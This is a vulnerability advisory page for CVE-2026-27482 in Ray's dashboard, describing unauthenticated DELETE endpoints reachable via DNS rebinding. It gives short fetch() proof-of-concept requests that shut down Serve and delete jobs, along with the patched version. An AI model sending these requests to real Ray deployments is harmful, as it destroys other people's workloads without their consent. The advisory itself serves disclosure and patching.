Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-27482 is a medium severity vulnerability with a CVSS score of 6.5. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Ray’s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.
Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.
fetch("http://<dashboard-host>:8265/api/serve/applications/", {
method: "DELETE",
headers: { "User-Agent": "Mozilla/5.0" } // browsers set this automatically
});
Result: Serve shuts down. 3) Similarly, delete jobs:
fetch("http://<dashboard-host>:8265/api/jobs/<job_or_submission_id>", { method: "DELETE" });
fetch("http://<dashboard-agent>:52365/api/job_agent/jobs/<job_or_submission_id>", { method: "DELETE" });
Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.
| Vendor | Product |
|---|---|
| Anyscale | Ray |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
The fix for this vulnerability is to update to Ray 2.54.0 or higher.
Fix PR: https://github.com/ray-project/ray/pull/60526